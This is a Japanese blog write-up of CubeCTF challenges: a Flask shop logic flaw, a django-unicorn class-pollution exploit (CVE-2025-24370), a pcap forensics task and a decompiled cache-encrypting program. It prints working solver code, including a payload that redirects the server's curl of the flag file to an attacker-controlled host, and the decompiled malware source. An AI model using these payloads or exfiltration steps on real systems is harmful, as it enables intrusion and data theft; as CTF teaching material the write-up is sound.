はまやんはまやんはまやん

hamayanhamayan's blog

CubeCTF Writeup

[web] Legal Snacks

We got hungry writing this challenge...

Flask製のECサイトで、99999.99ドルの「Elite Hacker Snack」を購入してフラグを取得する問題。初期残高は100ドル。フラグが得られる部分は以下のようになっている。

if any(item.product.name == 'Elite Hacker Snack' for item in order.items):
    return render_template('order_confirmation.html', order=order, flag=os.environ.get('FLAG'))

これを見てみると... 個数チェックが無い!よって、0個これを買ってもフラグが得られてしまう。しかも、購入時に0個でカートに入れることは可能なので、適当な安い製品と共に0個「Elite Hacker Snack」を買うことでフラグが手に入ってしまう。ソルバは以下。

import requests

base_url = "http://localhost:5000"
s = requests.Session()

s.post(f"{base_url}/register", data={"username": "hacker", "password": "pass123"})
s.post(f"{base_url}/cart/add", data={"product_id": 6, "quantity": 0})
s.post(f"{base_url}/cart/add", data={"product_id": 5, "quantity": 1})
checkout_resp = s.post(f"{base_url}/checkout", allow_redirects=False)
redirect_url = checkout_resp.headers.get('Location')

order_id = re.search(r'/orders/(\d+)/receipt', redirect_url).group(1)
orders = s.get(f"{base_url}/orders/{order_id}/receipt")

[web] Todo

I'm sure at some point we'll get around to finishing this one...

Djangoで作られたサイトが与えられる。怪しい部分はフラグを使っているここ。

def home(request):
    # todo charge users $49.99/month because greed
    # todo dont send the confidential flag ...
    print(f'curl {settings.CONTACT_URL} -d @/tmp/flag.txt -X GET -o /dev/null')
    system(f'curl {settings.CONTACT_URL} -d @/tmp/flag.txt -X GET -o /dev/null')
    return render(request, f'index.html')

どう見ても怪しい。settings.CONTACT_URLを操作できれば、フラグを外部に持ち出すことができる。他に怪しいのは...

RUN pip install django django-unicorn==0.60.0

ここ!CVE-2025-24370というのがあり、題名としてClass Pollution Vulnerabilityが付いていた。これですね。ここに解説があるので、これを元にガチャガチャやっていると

{
    "actionQueue": [
        {
            "type": "syncInput",
            "payload": {
                "name": "__init__.__globals__.sys.modules.django.conf.settings.CONTACT_URL",
                "value": "https://[yours].requestcatcher.com/test"
            }
        }
    ]
}

このようなbodyを送れば、CONTACT_URLを上書きできる。つまり、PoCは以下。

#!/usr/bin/env python3
import requests
import re
import sys

target_url = "http://[redacted]:1337"
attacker_url = "https://[yours].requestcatcher.com/test"

# Get CSRF token
resp = requests.get(target_url)
csrf_token = re.search(r'name="csrfmiddlewaretoken" value="([^"]+)"', resp.text).group(1)
cookies = resp.cookies

# CVE-2025-24370: Exploit django-unicorn model binding
# https://github.com/adamghill/django-unicorn/security/advisories/GHSA-g9wf-5777-gq43
payload = {
    "actionQueue": [
    {
      "type": "syncInput",
      "payload": {
        "name": "__init__.__globals__.sys.modules.django.conf.settings.CONTACT_URL",
        "value": attacker_url
      }
    }
  ],
}

requests.post(f"{target_url}/unicorn/message/todo", data=payload, cookies=cookies, headers={'X-Requested-With': 'XMLHttpRequest'})
requests.get(target_url, cookies=cookies)
print(f"Flag sent to {attacker_url}")

[forensics] Operator

I think someone has been hiding secrets on my server. Can you find them?

operator.pcapが与えられて解析する問題。中身を確認すると

  1. id - root権限確認
  2. nc -lvp 2025 > /tmp/xcat - netcatでファイル受信
  3. ELFバイナリ転送 (7240バイト、Stream index 6)
  4. chmod +x /tmp/xcat - 実行権限付与
  5. /tmp/xcat -l 202 - バイナリ実行

このような感じになっている。ELFバイナリをtshark -r operator.pcap -z follow,tcp,raw,6 -q | grep -v "===" | tr -d '\n' | xxd -r -p > payloadみたいに持ってきて解析してみると、

sym.chat関数内でXOR暗号化をしていて、キーは040717764269b00bde1823221eedf7aeと判明する。これを使って暗号化された通信を復号化するとフラグが得られた。

[forensics] Discord

I got a really awesome picture from my friend on Discord, but then he deleted it! I asked someone for a program that could get those pictures back, but when I ran it, all it did was close Discord! Send help, I need that picture back!

ディスクイメージのうち、ホームディレクトリ以下が与えられる。問題によると削除されたDiscord画像が復元できればいいらしい。AppDataのdiscordディレクトリを眺めてキャッシュがあるCache/Cache_Data/を見るとデータはあるが、.encという拡張子が付いている。ChromeCacheViewで見れると手元のメモにはあるが、見れそうにない。

ここからアレコレ考えていると、Downloads/encrypt.exeというファイルがあることに気が付く。stringsで眺めるとPyInstallerで作られたexeっぽかったので、分解していく。encrypt.pycをpyにすると以下のようなコードが得られる。

# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: encrypt.py
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import json
import os
from pathlib import Path
import psutil
from Cryptodome.Cipher import AES
from Cryptodome.Protocol.KDF import PBKDF2
from Cryptodome.Util.Padding import pad

def get_appdata_path() -> Path:
    if os.getenv('APPDATA') is None:
        raise RuntimeError('APPDATA environment variable not set??')
    return Path(str(os.getenv('APPDATA'))).resolve()
if __name__ == '__main__':
    for proc in psutil.process_iter():
        if proc.name() == 'Discord.exe':
            print(f'Killing Discord (pid {proc.pid})')
            try:
                proc.kill()
            except psutil.NoSuchProcess:
                print('Process is already dead, ignoring')
    sentry_path = get_appdata_path() + 'Discord' + 'sentry' + 'scope_v3.json'
    with open(sentry_path, 'rb') as f:
        sentry_data = json.load(f)
    user_id = sentry_data['scope']['user']['id']
    salt = b'BBBBBBBBBBBBBBBB'
    key = PBKDF2(str(user_id).encode(), salt, 32, 1000000)
    iv = b'BBBBBBBBBBBBBBBB'
    cache_path = get_appdata_path() + 'Discord' + 'Cache' + 'Cache_Data'
    print(f'Encrypting files in {cache_path}...')
    for file in cache_path.iterdir():
        if not file.is_file():
            continue
        if file.suffix == '.enc':
            print(f'Skipping {file} (already encrypted)')
            continue
        try:
            with open(file, 'rb') as fp1:
                data = fp1.read()
        except PermissionError:
                print(f'Skipping {file} (file open)')
                continue
            cipher = AES.new(key, AES.MODE_CBC, iv=iv)
            ciphertext = cipher.encrypt(pad(data, 16))
            print(f'Encrypting {file}...')
            with open(file.with_suffix('.enc'), 'wb') as fp2:
                fp2.write(ciphertext)
            file.unlink()

暗号化方式が分かったので、.encを以下のようなアルゴリズムで戻していく。

# decrypt_cache.py
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
from Crypto.Util.Padding import unpad

# sentry.jsonからuser_idを取得
user_id = "1334198101459861555"

# 暗号化と同じパラメータで復号
salt = b'BBBBBBBBBBBBBBBB'
key = PBKDF2(str(user_id).encode(), salt, 32, 1000000)
iv = b'BBBBBBBBBBBBBBBB'

cipher = AES.new(key, AES.MODE_CBC, iv=iv)
plaintext = unpad(cipher.decrypt(ciphertext), 16)

これでChromeCacheViewで見られる状態になったので、探索していくとフラグが書かれたWebP形式の画像ファイルが見つかる。